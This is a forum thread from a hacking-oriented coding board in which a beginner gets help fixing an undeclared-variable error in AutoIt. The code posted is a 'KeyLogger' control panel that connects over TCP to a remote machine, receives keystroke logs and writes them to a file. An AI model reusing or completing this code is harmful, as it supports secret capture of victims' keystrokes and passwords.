Sinisterly
AutoIT Variable - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: AutoIT Variable (/Thread-AutoIT-Variable)



AutoIT Variable - Yung Lean - 06-25-2013

I started learning how to code using AutoIT
I started from basics and I stuck on this little error message.
Variable used without being declared
It sounds easy like to get rid of something or add something.
But I'm not sure.
So thats Why I'm Asking for your help.
Thank You.


RE: AutoIT Variable - Deque - 06-26-2013

You need to declare your variable.
Example for a declaration:

Code:
Dim $var1

I can't tell you more without any code of yours.


RE: AutoIT Variable - Yung Lean - 06-26-2013

Code:
HotKeySet("{F1}","_disconnect") HotKeySet("{F2}",'_exit') MsgBox(0, "Info", "To save the logs, Press F1 and for reconnect , start the client again." & @CRLF & "F2 = Exit") #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <StaticConstants.au3> #include <WindowsConstants.au3> #include <File.au3> #region ### Start Koda GUI section ### Form= $Form1 = GuiCreate("KeyLogger" , 306,347,192,124) $ip_adresse = GuiCtrlCreateInput("127.0.0.1", 8,16,81,21) $button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP) $status = GUICtrlCreateLabel("Disconnect" , 224,16,68,17) GUICtrlSetFont(-1,8,800,0, "Myriad Pro") GUICtrlSetColor(-1, 0xFF0000) $Edit1 = GUICtrlCreateEdit("", 8,48,289,257, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN)) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### Global $disconnect = 0 While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 $disconnect = 0 TCPStartup() $Connection = TCPConnect(GUICtrlRead($ip_addresse) , 5900) If $Connection < 0 Then MsgBox(16, "Error", "Verbindung konnte nicht aufgebaut werden") _exit() Else While $disconnect = 0 GUICtrlSetData($status, "Connected") GUICtrlSetColor($status, 0x00FF00) $Resv = TCPRecv($Connection, 2) GUICtrlSetData($Edit1, $Resv, 1) if @error Then MsgBox(16, "Error", "Verbindung unterbrochen") _exit() EndIf WEnd EndIf Case $Button2 if NOT FileExists(@ScriptDir & "log.txt") Then _FileCreate("log.txt") Sleep(200) $file = FileOpen(@ScriptDir & "log.txt") Else $file = FileOpen(@ScriptDir & "log.txt") EndIf FileWrite($file, GUICtrlRead($Edit1)) Sleep(500) FileClose($file) EndSwitch WEnd Func _disconnect() $disconnect = 1 GUICtrlSetData($status, "Disconnected") GUICtrlSetColor($status, 0xFF0000) EndFunc Func _exit() TCPCloseSocket($Connection) TCPShutdown() Exit EndFunc


HERE IS THE CODE


RE: AutoIT Variable - noize - 06-26-2013

Doesn't the error outputter say on which line the error is? That'd be easier. :huh:


RE: AutoIT Variable - Yung Lean - 06-26-2013

(06-26-2013, 09:25 PM)noize Wrote: Doesn't the error outputter say on which line the error is? That'd be easier. :huh:
It actually doesn't :| I think
[Image: 1938b62b98e32889e4ab51949cb54643217.png]


RE: AutoIT Variable - noize - 06-26-2013

You see, you're saying there are two possibilities (cases), for either button1 or button2, but while you defined button1 here:

Code:
$button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP)

You never defined the variable $button2.


RE: AutoIT Variable - Yung Lean - 06-27-2013

(06-26-2013, 11:43 PM)noize Wrote: You see, you're saying there are two possibilities (cases), for either button1 or button2, but while you defined button1 here:

Code:
$button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP)

You never defined the variable $button2.

THANK YOU SO MUCH ! I FIXED IT !


RE: AutoIT Variable - noize - 06-27-2013

(06-27-2013, 12:58 AM)Clevaro Wrote: THANK YOU SO MUCH ! I FIXED IT !

I'm glad you fixed this, and that's nice to see someone still saying something here. It looked like the AutoIt section died a long long time ago.